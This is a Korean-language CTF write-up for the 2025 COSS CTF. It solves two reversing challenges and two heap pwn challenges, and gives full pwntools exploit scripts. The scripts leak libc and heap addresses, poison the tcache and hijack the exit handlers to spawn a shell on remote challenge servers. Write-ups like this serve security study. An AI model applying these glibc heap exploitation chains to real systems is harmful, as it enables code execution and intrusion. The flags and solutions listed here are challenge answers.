CTF

2025 COSS CTF

_daeseong_ 2025. 6. 22. 02:43

MISC

Mic Check

 

flag{825d4cad6d1e8d957ee438897affd2e6}

REV

The Powershell

간단한 연산을 진행하는 프로그램이다.

$v = 7, 96, 164, 214, 92, 231, 220, 244, 19, 182, 21, 228, 228, 29, 76, 96, 226, 42, 18, 102, 152, 255, 24, 232, 253, 8, 10, 126
$k = 0x77

function checker {
    param (
        [string]$data
    )

    for ($index = 0; $index -lt $data.Length; $index++) {
        $byte = [byte]$data[$index]

        $shifted = (($byte -shl (8 - ($index % 8))) -bor ($byte -shr ($index % 8))) -band 0xFF
        $shifted = $shifted -bxor ($k + $index)
        $encrypted_values += $shifted
        if ($shifted -ne $v[$index]) {
            return $false
        }
    }
    return $true
}

$inp = Read-Host "Input"
$is_correct = checker -data $inp

if ($is_correct) {
    Write-Host "Correct!"
} else {
    Write-Host "Incorrect... Try again!"
}

중요하게 볼 부분은 function checker이다.

$shifted = (($byte -shl (8 - ($index % 8))) -bor ($byte -shr ($index % 8))) -band 0xFF

가장 먼저 이 부분에서 index 만큼 ror을 진행한다.

$shifted = $shifted -bxor ($k + $index)

그 다음 k+index의 값과 xor을 진행하는데, 여기서 k의 값은 0x77이다.

때문에 연산도 간단하게 xor → rol 순으로 진행해주면 된다.

enc = [7, 96, 164, 214, 92, 231, 220, 244, 19, 182, 21, 228, 228, 29, 76, 96, 226, 42, 18, 102, 152, 255, 24, 232, 253, 8, 10, 126]

def rol(x, n):
    return ((x << n) | (x >> (8 - n))) & 0xff

print(''.join(chr(rol(enc[i] ^ (0x77 + i), i % 8)) for i in range(len(enc))))
flag{p0wershEllR3v3rseEng1ne3r1ng}

Credential Hash Generator

문제 파일을 DIE로 열어보면 Python언어로 만들어진 것을 확인할 수 있다.

때문에 우선 exe → pyc → py로 변환하는 과정을 거쳐야 한다.

import csv
import hashlib

def generate_hash(userid, userpass):
    tmp = []
    for i in range(len(userid)):
        tmp.append(userid[i] ^ 48)
    for i in range(len(userpass)):
        tmp.append(userpass[i] ^ 96)
    tmp = bytes(tmp)
    tmp = hashlib.sha640(tmp).hexdigest()
    return tmp
with open('input_credentials.csv', 'r') as file:
    reader = csv.reader(file)
    next(reader)
    with open('output_credentials.csv', 'w') as output_file:
        output_file.write('idx,userid,userpass,userhash\\n')
        for row in reader:
            if len(row) == 3:
                idx, userid, userpass = row
                print(f'{idx} Username: {userid}, Password: {userpass}')
                hash_value = generate_hash(userid.encode(), userpass.encode())
                print(f'Hash: {hash_value}')
                output_file.write(f'{idx},{userid},{userpass},{hash_value}\\n')
            else:
                print('Invalid row format')
                continue
import random

class sha640:

    def __init__(self, data):
        self.data = data
        self.update()

    def update(self):
        len_data = len(self.data)
        new_data = [0] * 80
        for i in range(80):
            new_data[i] = self.data[i % len_data] ^ (48 * i + 4 + i) % 256
        random.seed(3735928559)
        random.shuffle(new_data)
        for i in range(80):
            new_data[i] = (new_data[i] + random.randint(0, 255)) % 256
        self.data = bytes(new_data)

    def hexdigest(self):
        return self.data.hex()

py로 바꾼 코드를 보게 되면 output_credentials.csv에서 userid와 userpass를 읽고, userhash를 생성하는 작업을 진행한다.

여기서 hashlib에 있는 sha640이 사용되는데, sha640 class를 잘 보면 seed 값이 고정되어 있다.

파이썬의 random 모듈은 seed가 고정되면 항상 같은 순열과 난수열을 내기 때문에 역연산이 가능해진다.

때문에 shuffle 순서만 제대로 복구하면 나머지는 역연산을 통해 admin의 password를 얻을 수 있게 된다.

import csv, random

with open('output_credentials.csv') as f:
    for idx, user, pw_mask, h in csv.reader(f):
        if user == 'admin':
            admin_hash = bytes.fromhex(h); break

random.seed(3735928559)
p = list(range(80))
random.shuffle(p)
ad = [random.randint(0, 0xff) for _ in range(80)]

c = [0] * 80
for i in range(80):
    c[p[i]] = (admin_hash[i] - ad[i]) & 0xff

pat = [(49*i + 4) & 0xff for i in range(80)]
d = [None] * 37
for i in range(80):
    v = c[i] ^ pat[i]
    d[i % 37] = v if d[i % 37] is None else d[i % 37]

uid = d[:5]
pas = d[5:]
pw = bytes(i ^ 0x60 for i in pas)
print(pw)

위의 코드를 실행시키면 admin의 password가 잘 나오는 것을 확인할 수 있다.

flag{51300db12cae6de76fae394c54}

PWN

RogueLog Manager

로그를 생성하고 수정,조회,삭제,리사이징이 가능한 프로그램이다.

void delete_log()
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]

  v0 = prompt("Enter log index: ");
  if ( v0 <= 0xFF )
  {
    if ( logs[2 * v0] )
    {
      free(logs[2 * v0]);
      logs[2 * v0] = 0LL;
      *(&sizes + 2 * v0) = 0LL;
    }
    else
    {
      puts("Log is not created.");
    }
  }
  else
  {
    puts("Invalid log index.");
  }
}
void resize_log()
{
  unsigned __int64 index; // [rsp+8h] [rbp-18h]
  unsigned __int64 size; // [rsp+10h] [rbp-10h]
  void *ptr; // [rsp+18h] [rbp-8h]

  index = prompt("Enter log index: ");
  if ( index <= 0xFF )
  {
    if ( logs[2 * index] )
    {
      size = prompt("Enter new log size: ");
      if ( size <= 0x3F0 )
      {
        ptr = realloc(logs[2 * index], size);
        if ( ptr )
        {
          logs[2 * index] = ptr;
          *(&sizes + 2 * index) = size;
          printf("log #%zu resized.\\n", index);
        }
        else
        {
          puts("Failed to resize log.");
        }
      }
      else
      {
        puts("Log size is too large.");
      }
    }
    else
    {
      puts("Log is not created.");
    }
  }
  else
  {
    puts("Invalid log index.");
  }
}
void print_log()
{
  unsigned __int64 index; // [rsp+8h] [rbp-8h]

  index = prompt("Enter log index: ");
  if ( index <= 0xFF )
  {
    if ( logs[2 * index] )
      printf("Log content: %s\\n", logs[2 * index]);
    else
      puts("Log is not created.");
  }
  else
  {
    puts("Invalid log index.");
  }
}
void edit_log()
{
  unsigned __int64 index; // [rsp+8h] [rbp-8h]

  index = prompt("Enter log index: ");
  if ( index <= 0xFF )
  {
    if ( logs[2 * index] )
    {
      printf("Enter log content: ");
      read(0, logs[2 * index], *(&sizes + 2 * index));
      puts("Log content edited.");
    }
    else
    {
      puts("Log is not created.");
    }
  }
  else
  {
    puts("Invalid log index.");
  }
}
void create_log()
{
  unsigned __int64 i; // [rsp+0h] [rbp-10h]
  unsigned __int64 size; // [rsp+8h] [rbp-8h]

  for ( i = 0LL; ; ++i )
  {
    if ( i > 0xFF )
    {
      puts("Log buffer is full.");
      return;
    }
    if ( !*(&sizes + 2 * i) )
      break;
  }
  size = prompt("Enter log size: ");
  if ( size <= 0x3F0 )
  {
    if ( size > 0x10 )
    {
      *(&sizes + 2 * i) = size;
      logs[2 * i] = malloc(size);
      if ( logs[2 * i] )
      {
        printf("log #%zu created.\\n", i);
      }
      else
      {
        puts("Failed to allocate log.");
        *(&sizes + 2 * i) = 0LL;
      }
    }
    else
    {
      puts("Log size is too small.");
    }
  }
  else
  {
    puts("Log size is too large.");
  }
}

로그를 삭제하는 함수에서는 제대로 포인터를 지워서 댕글링 포인터가 남지 않지만,

리사아즈 하는 함수에서 realloc(ptr,0) 으로 2번쨰 인자를 0으로 줘서 호출하는 경우에 free와 같은 동작을 하게 되어서 댕글링 포인터를 남길 수 있게 된다.

print,edit 기능은 포인터가 있는지만 검사하기 때문에 댕글링 포인터에 접근해서 수정/조회가 가능하다.

위 방법으로 tcache를 채운후에 청크 하나를 더 해제하면 언솔빈에 청크를 가게 할 수 있고 조회해서 libc 주소를 릭 할 수 있다.

같은 방법으로 제일 첫번째 청크를 해제 후 조회하면 heap+0xN>>12 값이 릭 되는데, N이 0x1000 보다 작기 때문에 Left Shite( << ) 12번을 해주게 되면 힙 베이스 주소를 구할 수 있다.

그 다음 UAF overwrite가 가능하기 때문에 해제된 tcache에 접근 해서 tcache key를 덮은 후에 다시 해제하게 되면 tcache DFB가 가능하게 되고 원하는 주소에 청크를 할당 받을 수 있다.

위 방법으로 arb w/r 프리미티브를 얻고 Exit handler overwrite 로 익스플로잇을 진행하면 된다.

Exploit code

from pwn import *

def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)

create = lambda size:(
    p.sendlineafter(b"> ",b"1"),
    p.sendlineafter(b"Enter log size: ",str(size).encode())
)
delete = lambda index:(
    p.sendlineafter(b"> ",b"2"),
    p.sendlineafter(b"Enter log index: ",str(index).encode())
)
resize = lambda index,size:(
    p.sendlineafter(b"> ",b"3"),
    p.sendlineafter(b"Enter log index: ",str(index).encode()),
    p.sendlineafter(b"Enter new log size: ",str(size).encode())
)
view = lambda index:(
    p.sendlineafter(b"> ",b"4"),
    p.sendlineafter(b"Enter log index: ",str(index).encode())
)
edit = lambda index,data: (
    p.sendlineafter(b"> ",b"5"),
    p.sendlineafter(b"Enter log index: ",str(index).encode()),
    p.sendafter(b"Enter log content: ",data)
)
#p = remote("localhost",35420)
p = remote("3.38.174.17", 35420)
libc = ELF("./deploy/libc.so.6")

for i in range(9):
    create(0x3F0)
for i in range(8):
    resize(i,0)

view(7)
p.recvuntil(b"Log content: ")
libc.address = u64(p.recvline()[:-1].ljust(8,b"\\x00")) - 0x203b20
success(f"libc base addr : {hex(libc.address)}")

view(0)
p.recvuntil(b"Log content: ")
heap = u64(p.recvline()[:-1].ljust(8,b"\\x00"))<<12
success(f"heap addr : {hex(heap)}")

fs_base = libc.address - 0x28c0
inital = libc.address + 0x204fd0

for i in range(8):
    create(0x3F0)

create(100) ## log 17
resize(17,0)
edit(17,p64(0)*2)
resize(17,0)
edit(17,p64((fs_base+0x30)^((heap+0x26a0)>>12)))
create(100)
create(100)
edit(19,p64(0))

create(100) # log 20
resize(20,0)
edit(20,p64(0)*2)
resize(20,0)
edit(20,p64((inital)^((heap+0x26a0)>>12)))
create(100)
create(100)
edit(21,b"/bin/sh\\x00")

binsh = heap + 0x2710
system = libc.symbols['system']
edit(22,p64(4)+p64(ROL(system,0x11))+p64(binsh))

p.sendlineafter(b"> ",b"6")

p.interactive()
flag{f4e56b6a79de30aea8fd8aa35dec07589f8e3769d9e851e98a0849d17b1e275e9a28b6b8373e461d90e3b094dc9deba1449a807afcd6f9dd962c3a3dec}

SimpleHeap

unsigned __int64 read_chunk()
{
  unsigned int index; // [rsp+Ch] [rbp-14h] BYREF
  const char *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  index = 0;
  v2 = 0LL;
  printf("Index: ");
  __isoc99_scanf("%d", &index);
  if ( index > 7 )
  {
    puts("Error");
    exit(-1);
  }
  v2 = chunks[index];
  if ( v2 )
    printf("%s", v2);
  else
    puts("Error");
  return v3 - __readfsqword(0x28u);
}
unsigned __int64 edit_chunk()
{
  void *index; // [rsp+8h] [rbp-18h] BYREF
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  index = 0LL;
  buf = 0LL;
  printf("Index: ");
  __isoc99_scanf("%d", &index);
  if ( index > 7 )
  {
    puts("Error");
    exit(-1);
  }
  buf = chunks[index];
  if ( buf )
  {
    HIDWORD(index) = sizes[index];
    printf("Data: ");
    read(0, buf, HIDWORD(index));
  }
  else
  {
    puts("Error");
  }
  return v3 - __readfsqword(0x28u);
}
unsigned __int64 delete_chunk()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  idx = 0;
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  if ( idx > 7 )
  {
    puts("Error");
    exit(-1);
  }
  free(chunks[idx]);
  chunks[idx] = 0LL;
  sizes[idx] = 0;
  return canary - __readfsqword(0x28u);
}
unsigned __int64 create_chunk()
{
  unsigned int v1; // [rsp+0h] [rbp-40h] BYREF
  int v2; // [rsp+4h] [rbp-3Ch]
  char *s; // [rsp+8h] [rbp-38h]
  char title[16]; // [rsp+10h] [rbp-30h] BYREF
  char content[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v1 = 0;
  memset(title, 0, sizeof(title));
  memset(content, 0, 16);
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 7 )
  {
    puts("Error");
    exit(-1);
  }
  printf("Title: ");
  read(0, title, 16uLL);
  printf("Content: ");
  read(0, content, 16uLL);
  s = malloc(0x30uLL);
  v2 = snprintf(s, 0x30uLL, "Title:%s\\nContent:%s\\n", title, content);
  chunks[v1] = s;
  sizes[v1] = v2;
  return v6 - __readfsqword(0x28u);
}

create_chunk 함수에서 title로 16바이트 content로 16바이트를 입력받고 snprintf 함수로 포멧을 만들고chunks,sizes에 포인터랑 snprintf의 반환값을 기록한다.

title 버퍼를 16바이트로 꽉 채우면 NULL 문자가 사라진다. 그러면 snprintf의 첫 번째 %s 변환자가 title 뒤에 이어진 content 랑 8바이트 더미값을 한번에 읽어오게 된다. 함수는 size 인자로 지정된 0x30(48)바이트까지만 s에 써 주기 때문에 겉보기엔 안전해 보이지만, 반환값은 잘리기 전 전체 길이즉 원래 필요했던 바이트 수를 돌려준다. 그래서 sizes에 0x30보다 큰 값이 들어가게 되고 약간의 힙 오버플로우가 발생한다.

위에서 말한 content 뒤에 8바이트 더미값이 운좋게 PIE관련 주소여서 릭하면 PIE베이스를 구할 수 있고 힙 오버플로우로 다음청크 FD까지 덮어서 조회기능으로 힙 베이스까지 유출 가능하다.

tcache poisoning으로 chunks 주소에 힙을 할당해서 arb w/r 프리미티브를 얻고 Exit handler overwrite 으로 익스플로잇을 진행하였다.

Exploit code

from pwn import *

def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)

create = lambda index,title,content: (
    p.sendlineafter(b"> ",b"1"),
    p.sendlineafter(b"Index: ",str(index).encode()),
    p.sendafter(b"Title: ",title),
    p.sendafter(b"Content: ",content)
)

view = lambda index:(
    p.sendlineafter(b"> ",b"2"),
    p.sendlineafter(b"Index: ",str(index).encode())
)

edit = lambda index,data: (
    p.sendlineafter(b"> ",b"3"),
    p.sendlineafter(b"Index: ",str(index).encode()),
    p.sendafter(b"Data: ",data)
)
delete = lambda index: (
    p.sendlineafter(b"> ",b"4"),
    p.sendlineafter(b"Index: ",str(index).encode())
)

#p = remote("localhost",13378)
p = remote("43.203.171.130", 13378)
e = ELF("./deploy/prob")
libc = ELF("./deploy/libc.so.6")

create(0,b"A"*0x10,b"B"*0x10)
create(1,b"A"*0x10,b"B"*0x10)
create(2,b"A"*0x10,b"B"*0x10)
view(0)
p.recvuntil(b"B"*0x10)

e.address = u64(p.recvn(6).ljust(8,b"\\x00")) - 0x3d78
success(f"pie base addr : {hex(e.address)}")

edit(2,p64(0)*2+b"/bin/sh\\x00")
delete(2)

edit(1,b"A"*0x40)
view(1)
p.recvuntil(b"A"*0x40)
heap = u64(p.recvn(5).ljust(8,b"\\x00")) << 12
success(f"heap addr : {hex(heap)}")
edit(1,b"A"*0x30+p64(0)+p64(0x41)+p64(heap>>12))

delete(1)
# # context.log_level = 'debug'

edit(0,b"A"*0x30+p64(0)+p64(0x41)+p64(e.symbols['chunks']^heap>>12))
create(2,b"A",b"B")
create(7,b"A"*0x10,b"B"*0x10)

edit(7,p64(e.address+0x4020))
view(0)
libc.address = u64(p.recvn(6).ljust(8,b"\\x00")) - libc.symbols["_IO_2_1_stdout_"]
success(f"libc base addr : {hex(libc.address)}")

binsh = heap+0x330
system = libc.symbols['system']
fs_base = libc.address - 0x28c0
inital = libc.address + 0x204fd0

edit(7,p64(fs_base+0x30))
edit(0,p64(0))
edit(7,p64(inital))
edit(0,p64(4)+p64(ROL(system,0x11))+p64(binsh))
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"Index: ",b"31337")

p.interactive()
flag{091b2bc05a735ef25e9da6fbbf57490415c528056d67e6cf8a75d88d1b1a46e48504a92b5029ae2f63548ae99368370127a5e481aa0f6dee97edaec79ce7a9}